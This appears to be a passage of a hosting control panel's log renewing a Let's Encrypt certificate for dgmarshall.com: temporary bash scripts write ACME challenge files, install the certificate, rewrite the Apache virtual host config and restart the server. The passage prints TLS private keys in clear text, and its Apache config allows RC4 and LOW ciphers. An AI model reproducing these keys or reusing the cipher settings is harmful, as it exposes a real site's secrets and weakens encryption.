ZS/fAvSxoGr8RR/yXcS2/SJYhPNdZ4QzwbQDp3UGjdA/PMI1t+JGVhWmmUlY83vj
/rm1y9Z6m7mfrQOwPByuHPjIOTfYBFQo58Pvh6WqXH+yOIweqQuSdfd5sQRSsh2s
gN6AA0OzAgMBAAECggEBAJbBg9ErZIL8hFngCuRWv8wdOedeHobmoKwi4h7nR0WL
bIU/CAI8qvNgd6wIOBgp3q6gQpVbHbQzCfewTGNxZr145Sr28VlyE8gImhQQyG4N
XVH3rxRPtI3q+/5OU2Pc4Sn6pn6vbiteqngry6QbQdhJBm27R7Rl/9cDmna92pyv
YN7dxjP324GuGtGjAhLBx1ABvWJJTg+5tbERJEoAcDFXD9md5VpWBMeau1yX8BNs
K5ViwYfCmzm39oJf7zp/Nd+zBEpX4TZxRZ0VPGLtSn28HG0V1p0XqytSe38wCduD
v8/Xq9sLg52mjuLBN3Ug7kRu7IwQapvOdDviLFAP6DECgYEA5t3lwXURd436hP4r
1wIU8fj6+DCRaIyuOt69L2gr0g87WpDKgTYLRv32yMc7tfsVvGcCoZ0WueI+VBIJ
CcxTB4QYGPx4Zx8Nvcw8zdPAwgua7srGgN29gMibQiNxBHi3aZx9oM5LSfX+WMte
MSWMvrxPQZYrMZY6wLCi/qTUbEUCgYEAwXlza79mNHzxxRNwELrcIjGUSKSkonfa
74mfgWUWi2AYQgLNrGowhB3zjoKdTFeRUlJo1hSgyzd285AQGPeJsGcmtFVMNHNf
tPfRbjOTEiQynJ9qxozO6royuIH9yV5REcYKS7JzHL3J3UJyHJeeyzwHVMHo+zu7
zN/YKL2tu5cCgYB/dxRbc59pOuKOeycJVwTpdGZckbQ23TV1G3WorwNCv1Yt8rNc
E9K2J5IR2K6HE1I060rwoCLkDp4LHMoQttdA1xXW9c4kYWjc2d7YZYmPmYi5PwvK
KqNub1QJeDf2GBBsJxLVrhCzjTYZIG+pAupqhN3dgGPoxOE7cksL/UWrYQKBgQCR
3wQLBPAGOv3+XL1tn7VBgqgObTRD2qITYGwGnzT0OKuReZOgnx+dPQfZNtlqKcvD
iabJYhwpm9Pvp3q7mEcT3XHtHTKriSFrzDz3HaORVgFi3T8gHCIWD/UV78xs+tOc
1vgEQrNPxDhivipTLG3pRYUxflIuucbKnSrY7MoEWQKBgCi5R+qy5V/Tko1Gh0TA
lpciOw7Fv96G10Qjn3TSMxFKpKt2OhSLczlQBObO9Pi/w93OlAzuGYz9mnM99x7F
tiXwycwEGKfqKZ6u3xEbk2i3ZzRmJstKyGyZCla5HwRGzJO6co/xd7eM5Ktvh5ea
GX3DIQ3xFpkjrgdJTL8i15JU
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-09-27 06:00:17: Establishing a connection
2025-09-27 06:00:18: Establishing a connection
2025-09-27 06:00:18:
PUT: /tmp/pkp543316
#!/bin/bash
if [ -d "/var/www/dgmarshall_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-09-27 06:00:18:
chmod 755 /tmp/pkp543316; /tmp/pkp543316; rm /tmp/pkp543316
2025-09-27 06:00:18:
1
2025-09-27 06:00:19: Establishing a connection
2025-09-27 06:00:19:
PUT: /tmp/pkp870701
#!/bin/bash
mkdir -p "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cd "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cat > TS71Yp2yZP7xRqlUSljTg9prUPJc5f9yAmwBmQlC1IE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
TS71Yp2yZP7xRqlUSljTg9prUPJc5f9yAmwBmQlC1IE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 TS71Yp2yZP7xRqlUSljTg9prUPJc5f9yAmwBmQlC1IE
cat > 0xrrJg3ugRcbYWIzRJAr5c5Kl8SPsbVWOUq_U4nsmAY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
0xrrJg3ugRcbYWIzRJAr5c5Kl8SPsbVWOUq_U4nsmAY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 0xrrJg3ugRcbYWIzRJAr5c5Kl8SPsbVWOUq_U4nsmAY
2025-09-27 06:00:19:
chmod 755 /tmp/pkp870701; /tmp/pkp870701; rm /tmp/pkp870701
2025-09-27 06:00:19:
2025-09-27 06:00:30: Establishing a connection
2025-09-27 06:00:30:
PUT: /tmp/pkp104613
#!/bin/bash
mkdir -p "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cd "/var/www/dgmarshall_www/.well-known/acme-challenge/"
rm TS71Yp2yZP7xRqlUSljTg9prUPJc5f9yAmwBmQlC1IE
rm 0xrrJg3ugRcbYWIzRJAr5c5Kl8SPsbVWOUq_U4nsmAY
2025-09-27 06:00:30:
chmod 755 /tmp/pkp104613; /tmp/pkp104613; rm /tmp/pkp104613
2025-09-27 06:00:30:
2025-09-27 06:00:30: Establishing a connection
2025-09-27 06:00:31:
PUT: /tmp/pkp589957
#!/bin/bash
temp_file=$(mktemp)
TARGET=dd152e01fe9ba41e566c0f966e8e26d3.crt
cat > $temp_file <<'endmsg'
6d:5c:29:3d:bc:3e:56:3a:b7:b5:92:d9:32:ab:af:64
-----BEGIN CERTIFICATE-----
MIIFDTCCA/WgAwIBAgISBZsc6FruU3ETm+Z+mxaCwRl9MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTI3MDUwMTU5WhcNMjUxMjI2MDUwMTU4WjAZMRcwFQYDVQQD
Ew5kZ21hcnNoYWxsLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ALwynjJJjyFbWndtrJrPReEP8w3QktZqyQeRZaAik+uVogRv64bJPMR/eefiSZin
FH2Rqhed+8r1pZ1GHJEuRocdH/tSaU57+LbKO6hiHfAG58KVVGSgapnUjmWSvldD
dI1jyWCYQ/oVVCn2W63yzaUJFThuFvQVSkMDySDDuBKBCXp4TArVpirRbjHhFdC7
OjKIort8nKuDi7Y5xGbpOU6pe+367WgAWtJL+e+XAGE4uUudPmOzQK7LBWOAGlPD
4NJ+6wow1Ov55qaf/SD4jnVG7hCEzkDryNTt7/JJIf4r7NNuSW8UIg9MwxmTM0Ht
EX2aFN0W9/RW3GTaT/IV1IECAwEAAaOCAjMwggIvMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUkfSlezzWf93eN9R6oy4BxG3aQX8wHwYDVR0jBBgwFoAUALUp8i2ObzHo
m0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEyLmkubGVuY3Iub3JnLzAtBgNVHREEJjAkgg5kZ21hcnNoYWxsLmNvbYISd3d3
LmRnbWFyc2hhbGwuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYw
JKAioCCGHmh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTI2LmNybDCCAQQGCisGAQQB
1nkCBAIEgfUEgfIA8AB1AN3cyjSV1+EWBeeVMvrHn/g9HFDf2wA6FBJ2Ciysu8gq
AAABmYnCMaQAAAQDAEYwRAIgN2r4eNgV9JWEZH3s3ElPkBF41n3lBgSqH8Svcvxu
AR0CIBGBpGEHnDxJXuq7XNW2zuvaq7ReZJCvjZHKqDan4mxLAHcAGYbUxyiqb/66
A294Kk0BkarOLXIxD67OXXBBLSVMx9QAAAGZicI0MwAABAMASDBGAiEA6ip7XUfJ
Dzh8VMibdwWkdbyYrRYrJKNxcapuZEJoikECIQCm3MUB0Z9tgphKSag+B4pn6dWD
K4C1cfmu6gJTy11/0zANBgkqhkiG9w0BAQsFAAOCAQEAx9ePEYu1J3Mu9sd0VQTZ
u8kl2kszKnBRnSAhPRXdMjsUjngt40H++RIA3LFPtXrmU25JUA/ybGF1oiTXt5m0
AsBCXn7pfhHWl6CG+TNn93uY3xPHF5pITf5VSxdpFisyFC2kMwa1jtYHBEe+uzz3
zWCodu3Ut/1JA59XvSSpVdhS9Xd2YmgI7+G+rwA1vzJinogLloPyIL1lscdQkNhc
kWFJusr+nDZz70l53/5wGhY1ebIiOFwU8uLJB08n5lvhIVpz0BthIbrFtybQFgtN
KDMyvcyAAFkpRLWfQNvXFD68cttjG0+t/AL3IZCM0jkr7EJjHsNM0WTW6ivnws7A
1w==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC8Mp4ySY8hW1p3
bayaz0XhD/MN0JLWaskHkWWgIpPrlaIEb+uGyTzEf3nn4kmYpxR9kaoXnfvK9aWd
RhyRLkaHHR/7UmlOe/i2yjuoYh3wBufClVRkoGqZ1I5lkr5XQ3SNY8lgmEP6FVQp
9lut8s2lCRU4bhb0FUpDA8kgw7gSgQl6eEwK1aYq0W4x4RXQuzoyiKK7fJyrg4u2
OcRm6TlOqXvt+u1oAFrSS/nvlwBhOLlLnT5js0CuywVjgBpTw+DSfusKMNTr+eam
n/0g+I51Ru4QhM5A68jU7e/ySSH+K+zTbklvFCIPTMMZkzNB7RF9mhTdFvf0Vtxk
2k/yFdSBAgMBAAECggEAJa24sHa7ukDw9tI1aXUwF2Q7FDv6+gS9JM++WfYySUtW
+a5yqDSn/utKu9s5Qt/IoW9Fb58Ip1TRCJDd7U8nfaueGJIiVT1KyUXp9cdXGRQ4
2GNPVyoqzYuZyso7Y3s03Y3p5nX1vh8BD7msF0JyW6Va40ZfQBT3Hj2myfGFa+aj
0+saa7Wkf4xfgTL9vPhdSNiGaBTMaAK8WaJWzqCRBHjPs10vFpAJVRNUHrzD7WhX
OyaUd7OZWIcKVfPFxlAdm9ch+MD34LznmsiMjo1Ti3jTbm1wZ707ErI/XCmVo1P+
N5iBYw87+V7ep/todQZRhqWfwGDeSb5Zvxb2ipkPBQKBgQDhfSuwkaKj6YO0mnU3
WhJiG2Ke2df8L2CC92bBRJd6M37ffzBdPF0oQjPSPk7I+bEP5GvoA4e3Sx49dw/H
exKUx7j/qAWPbNMKWb2MSo7VmmLM4XorZF8Uv+NnjVJ5QyGdSBAWaRq+5B7hJvId
BOcdhlUWYPMLgkTnN50p+FAIbwKBgQDVqbJ8UYhiNHzSoc+W5iRIi8mHjB+m412A
Lshjym+Q2HFzefQhtK2jRifHgODV8e8EWjjHR1TmARRsrBIhmYneD6Lmwvt6OGkD
wc8oVXMQ2i53oXlw1SSFGhGTNv9TZHp8lUjp2N9v/rKnB0A1J4bedzzAtscFJ1nn
VcStSn8KDwKBgQCaY2Gum4iIQjJzTe5D3+AGXEnCCdXgTW//O/WXDqfIe8m6rRMo
Q1RlZC6nHRJEePHKt9NKIGCkF0K1QvgC1Tl7tOPt59UmxpQY2ij2DXaOug47yYYk
f6y6QEgrdo+ph1VUoyqgrYYqfXbHIitTwy+a/4bys561mpQi2+k3+1SQ8QKBgQDN
XMkYIomy0n4zOaG8iUHQlMNETFNT5e9FuDGVcMqg7tjExC/5gZ7vcwvi/qWcHWi9
xzYRnCcm11zZQt4+e0P/MwpBQKHTjIqrOMozG0Z4qSzGgWanI8ZxRGgmFlN8xPPR
8O7fDTtdevIeBqMZM/+2reav2D4cXwFTj6V1ZkgK0wKBgG50Ygj/XTFQXrI7jnQE
IeVxZnX7CNyVUCOzSWPy1LguKih+2T7UCEllvMUr+d4VcYlo32T5NV7lIAE7F+gE
kpb2DszEnb8p9/Z55wmCrT1zc2nRoVoUugYI7xuN0G3aTZJmiY5py37Gb1IT52WY
RD2mEK1Z/EyW19lLIpntZaOo
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-09-27 06:00:31:
chmod 755 /tmp/pkp589957; /tmp/pkp589957; rm /tmp/pkp589957
2025-09-27 06:00:31:
dir=/etc/ssl/certs
2025-09-27 06:00:31:
PUT: /tmp/pkp198031
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/dgmarshall_www_com.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-09-27 06:00:31:
chmod 755 /tmp/pkp198031; /tmp/pkp198031; rm /tmp/pkp198031
2025-09-27 06:00:31:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/dgmarshall_www_com.conf 42
<VirtualHost *:80>
ServerName dgmarshall.com
ServerAlias www.dgmarshall.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/dgmarshall_www
<Directory /var/www/dgmarshall_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/dgmarshall/www_access.log combined
ErrorLog /var/log/apache2/dgmarshall/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName dgmarshall.com
ServerAlias www.dgmarshall.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/dd152e01fe9ba41e566c0f966e8e26d3.crt
DocumentRoot /var/www/dgmarshall_www
<Directory /var/www/dgmarshall_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/dgmarshall/www_secure_access.log combined
ErrorLog /var/log/apache2/dgmarshall/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-27 06:00:31:
PUT: /tmp/pkp931045
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=dgmarshall_www_com.conf
TARGET=/etc/apache2/sites-enabled/dgmarshall_www_com.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName dgmarshall.com
ServerAlias www.dgmarshall.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/dgmarshall_www
<Directory /var/www/dgmarshall_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/dgmarshall/www_access.log combined
ErrorLog /var/log/apache2/dgmarshall/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName dgmarshall.com
ServerAlias www.dgmarshall.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/dd152e01fe9ba41e566c0f966e8e26d3.crt
DocumentRoot /var/www/dgmarshall_www
<Directory /var/www/dgmarshall_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/dgmarshall/www_secure_access.log combined
ErrorLog /var/log/apache2/dgmarshall/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/dgmarshall_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/dgmarshall_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/dgmarshall_www_com.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/dgmarshall_www_com.conf= 1'
fi
2025-09-27 06:00:31:
chmod 755 /tmp/pkp931045; /tmp/pkp931045; rm /tmp/pkp931045
2025-09-27 06:00:31:
2025-09-27 06:00:31:
PUT: /tmp/pkp693197
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-09-27 06:00:31:
chmod 755 /tmp/pkp693197; /tmp/pkp693197; rm /tmp/pkp693197
2025-09-27 06:00:31:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-27 06:00:31: Establishing a connection
2025-09-27 06:00:31:
PUT: /tmp/pkp855572
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-09-27 06:00:31:
chmod 755 /tmp/pkp855572; /tmp/pkp855572; rm /tmp/pkp855572
2025-09-27 06:00:31:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
alias www.bucketgigs.ca
port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
alias www.dgmarshall.ca
port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
alias www.dgmarshall.com
port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
alias www.drewmarshall.ca
port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
alias www.hillrunfarm.ca
port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
alias www.ineedtosaythis.com
port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
*:443 is a NameVirtualHost
default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
alias www.bucketgigs.ca
port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
alias www.dgmarshall.ca
port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
alias www.dgmarshall.com
port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
alias www.drewmarshall.ca
port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
alias www.hillrunfarm.ca
port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
alias www.ineedtosaythis.com
port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-27 06:00:31:
PUT: /tmp/pkp898696
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
